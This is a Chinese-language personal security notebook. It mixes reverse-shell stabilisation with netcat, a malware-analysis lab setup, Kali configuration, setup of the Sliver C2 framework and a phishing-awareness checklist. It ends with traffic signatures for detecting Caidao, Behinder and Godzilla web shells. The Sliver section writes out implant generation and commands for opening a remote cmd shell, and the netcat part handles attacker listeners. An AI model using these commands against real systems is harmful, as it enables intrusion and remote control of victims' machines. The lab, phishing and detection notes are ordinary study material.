稳定netcat shell的三种方式

1.python

1)使用命令 nc -lvnp 443 后会从攻击机返回shell,此时的shell是程序极其不稳定,按下 CTERL C 会中断。

使用命令 python -c ‘import pty;pty.spawn(“/bin/bash”)’ 获得稳定的交互shell,但此时仍然无法使用 tab 自动补全或使用箭头键,而 Ctrl C 仍会终止 shell。

2)使用命令 export TERM=xterm

3)使用 Ctrl + Z 为 shell 设置背景,此时已经推出了shell。在攻击机普通命令行下,使用命令 stty raw -echo; fg

2.rlwrap

rlwrap是一个程序

1)使用命令 rlwrap nc -lvnp <port> //处理 Windows shell 时特别有用

2)使用 Ctrl + Z 为 shell 设置背景,然后使用 stty raw -echo; fg 稳定并重新进入 shell

3.Socat*(仅限于Linux目标,因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定)

恶意代码分析学习

使用ubuntu作为模拟服务,使用win7进行分析

ubuntu

下载地址:http://releases.Ubuntu.com

一、更新软件

1.软件包

$ sudo apt-get update
$ sudo apt-get install python-pip
$ pip install --upgrade pip
$ sudo apt-get install python-magic
$ sudo apt-get install upx
$ sudo pip install pefile
$ sudo apt-get install yara
$ sudo pip install yara-python
$ sudo ape-get install ssdeep
$ sudo apt-get install build-essential libffi-dev python python-dex libfuzzy-dev
$ sudo pip install ssdeep
$ sudo apt-get install wireshark
$ sudo apt-get install tshark


2.安装INetSIm:用于模拟服务,比如DNS和HTTP服务
$ echo "deb http://www.inetsim.org/debian/ binary/" > /etc/apt/sources.list.d/inetsim.list
$ echo "deb-src http://www.inetsim.org/debian/ source/" >> /etc/apt/sources.list.d/inetsim.list
$ wget -O - https://www.inetsim.org/inetsim-archive-signing-key.asc --no-check-certificate | apt-key add -
$ apt update
$ apt install inetsim

inetsim的默认监听端口为127.0.0.1,现在要修改为监听192.168.1.100.
打开位于 /etc/inetsim/inetsim.conf 的配置文件,使用以下命令进行编辑

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ sudo gedit /etc/inetsim/inetsim.conf
然后到 service_bind_address 中的下一行加入192.168.1.100然后保存
然后到 dns_default_ip 中的下一行加入 192.168.1.100然后保存
然后运行 inetsim ,如果显示pid已经存在,使用命令 cat /var/run/inetsim.pid查看占用的pid,使用命令
kill 9 pid 关闭该进程,然后再重启服务,查看到监听为192.168.1.100。注意正常情况下不应该出现红色的fail告警
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

3.隔离主机。将ubuntu16的网络模式改为仅主机模式 hots-only

4.查看网卡信息
$ ifconfig
我的网卡为 ens33

5.配置网卡将ip地址固定为192.168.1.100

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ sudo gedit /etc/network/interfaces
增加以下内容:
$ suto ens33
$ iface ens33 inet static
$ address 192.168.1.100
$ netmask 255.255.255.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

然后重启ubuntu

ubuntu算是配置好了

WIN7

修改静态ip 192.168.1.50

网关:192.168.1.100

DNS:192.168.1.100

win+r gpedit.msc -> 计算机配置 ->管理模板->windows 组件->找到win defender 双击->双击关闭d->开启“关闭defender”->应用


样本获取

Hybrid Analysis:https://www.hybrid-analysis.com/
KernelMode.info:https://www.kernelmode.info/forum/viewforum.php?f=16
VirusBay:https://beta.virusbay.io/
Contagio malware dump:http://contagiodump.blogspot.com/
AVCaesar:https://avcaesar.malware.lu/
Malwr:https://malwr.com/
VirusShare:https://virusshare.com
theZOO:https://thezoo.morirt.com/
下面的链接可以找到更多的样本
Free Malware Sample Sources for Researchers

tor浏览器kali

使用命令
apt install tor

修改etc目录下的配置文件

关闭静态chains,开启动态chains

在最后添加上
sock5 127.0.0.1 9050

输入命令启动服务
service tor start

输入命令查看启动情况
service toe status

kali python 版本切换/网卡/物理机虚拟机传输文件

kali python 版本切换

update-alternatives –install /usr/bin/python python /usr/bin/python2 100

update-alternatives –install /usr/bin/python python /usr/bin/python3 150

然后查看版本
python –version

切换版本
update-alternatives –config python  版本号


kali不显示网卡

服务开启后进入vim /etc/network/interfaces
编辑,添加
auto eth0
iface eth0 inet dhcp

然后通过命令/etc/init.d/networking restart 重启网卡恢复正常


使用xshell连接虚拟机

在虚拟机输入命令rz,随意选择一个文件,点击打开即可从物理机选择文件传输到虚拟机

在虚拟机使用命令sz 文件名 ,可以把文件传给物理机

sliver

https://github.com/BishopFox/sliver/releases

服务端

下载 wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip

解压unzip unzip sliver-server_linux.zip

安装库sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

创建一个player。创建一个会话用于之后监听

new-player –operator sigma –lhost 192.168.x.x

会在当前文件夹生成一个cfg文件,后面会用得上

此时会默认监听31337端口//客户端通过31337连接服务端

然后输入players来查看,如下图:

启动多人模式,输入命令multiplayer


客户端

跟下载服务端一样,先下载解压,然后安装依赖

wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip

unzip sliver-client_linux.zip

sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

首先保证服务端开启了多人模式,然后把cfg文件传输到root文件夹中:
sudo cp x_192.168.x.x.cfg /root/.sliver-client/configs

sliver的默认连接端口是31337,可以通过编辑配置文件进行修改:
cat ~/.sliver/configs/server.json //没找到


Commands:
=========
  clear       清除屏幕
  exit        退出shell
  help        帮助
  monitor     监视器
  wg-config   生成新的WireGuard配置
  wg-portfwd  列出WireGuard端口
  wg-socks    列出监听WireGuard服务器

Generic:
========
  aliases           列出当前别名
  armory            自动下载并安装扩展模块/别名
  background        后台活动会话
  beacons           信标管理
  builders          列出外部构建器
  canaries          列出以前生成的canaries
  cursed            谷歌浏览器开发者工具包?
  dns               启动DNS监听
  env               列出环境变量
  generate          生成二进制文件
  hosts             管理主机数据库
  http              启动http监听
  https             启动https监听
  implants          列出生成的马
  jobs              控制器
  licenses          开源许可
  loot              管理服务器商店
  mtls              启动mTLS监听
  prelude-operator  管理与Prelude操作员的连接?
  profiles          列出现有配置文件
  reaction          管理对事件的自动反应
  regenerate        重新生成注入?
  sessions          会话管理
  settings          管理客户端设置
  stage-listener    启动分段监听程序
  tasks             信标任务管理
  update            检查更新
  use               切换活动会话或信标
  version           显示版本信息
  websites          Host static content (used with HTTP C2)
  wg                启动WireGuard监听

Multiplayer:
============
  kick-operator  踢人
  multiplayer    开启多人模式
  new-operator   创建新的用户配置文件
  operators      管理员设置



生成木马:
generate –mtls <Server IP:port> –save test.exe –os Windows 默认8888

使用MTLS监听,使用jobs命令可以看到当前的任务,使用sessions可以查看信息,如下图

输入session -i x //比如sessions -i 1 进入一个会话,如下图

使用命令得到shell
shell –shell-path “C:\\windows\system32\cmd.exe”

按exit可以退出shell。exit退出交互式shell,直接会终止客户端的运行。重新运行客户端,使用sessions查看session 编号,重新进入。


sessions -i sessionID 进入会话

sessions -k sessionID 杀死会话

operators 查看用户在线

implants 查看生成的马


使用wireshark进行抓包,可以看到受控8888端口的流量,如下图。

也发现了心跳包,大小为55.而客户端与服务端的心跳大小为66


kali 换源

1.看系统时间
date

2.更新系统时间
tzselect

echo “ZONE=Asia/Shanghai” >> /etc/sysconfig
rm -f /etc/localtime # 链接到上海时区文件
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

3.重启

4.更新源
vim /etc/apt/sources.list

清华大学的源

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

5.更新key

wget archive.kali.org/archive-key.asc //下载签名

apt-key add archive-key.asc //安装签名

6.更新
apt-get update

钓鱼

邮件钓鱼防范:7看

-看发件人地址

收到可疑邮件首先要查看发件人地址。如果是办公邮件,发件人多数会使用单位工作邮箱,如果发现对方使用的是外部邮箱账号如gmail,qq邮箱,或者邮箱账号拼写很奇怪,那么就需要提高警惕。钓鱼邮件的发件人地址也经常会进行伪造,比如伪造成本单位域名的邮箱账号或者系统管理员账号。

-看收件人地址

如果发现所接收的邮件被群发给校内大量人员,而这些人员并不是工作常用联系人或相关单位人员,那么就需要警惕,有可能是钓鱼邮件。

-看邮件标题

大量钓鱼邮件主题关键字涉及“系统管理员”、“告警通知”、“账户冻结”、“密码到期”、“邮件账号报备”、“邮件异常登录”等,收到此类关键词的邮件,需提高警惕。

-看正文措辞

对使用“亲爱的用户”、“亲爱的同事”等一些泛化问候或同事间不常用称呼的邮件应保持警惕。同时也要对任何制造紧急气氛的邮件提高警惕,如要求“账号已到期”,“邮箱容量达到上限”等。

-看正文内容

邮件中有要求使用者点击邮件中的链接完成某项操作(如激活账号,确认密码),一定不要随便点击链接,必要时可以先联系相关部门确认邮件内容,避免上当。

-看附件内容

邮件中的附件信息,不要随便点击下载。诸如word、pdf、excel、PPT、rar等文件都可能植入木马或间谍程序,尤其是附件中直接带有后缀为.exe、.bat的可执行文件,千万不要点击。

-看发件的日期

公务邮件通常接收邮件的时间在工作时间内,如果收到邮件是非工作时间(如凌晨时段),很有可能是钓鱼邮件。

MVC设计模式

浏览器-》controller-》Model-》Database;

Database-》Model-》Controller-》View-》浏览器

也就是Model、View、Controller各司其职

web shell 管理工具

#菜刀-流量&绕过&特征&检测

1、版本

2014 $_POST=$_REQUEST 2016 可以

2、特征:

数据包流量特征:

1,请求包中:ua头为百度爬虫

2,请求体中存在eval,base64等特征字符

3,请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

#冰蝎-流量&绕过&特征&检测

0、介绍

冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,

消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出。

1、通讯

以代码Key为密匙的AES加密解密过程

2、

特征:

0、User-agent:代码中定义

1、Pragma: no-cache

2、Content-Type:application/x-www-form-urlencoded

3、Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

4、Accept-Encoding: gzip, deflate, br

5、Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

#哥斯拉-流量&绕过&特征&检测

1、通讯加密见图

2、特征:

1、User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

2、Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

3、Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

4、Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44; cookie最后面存在一个”;”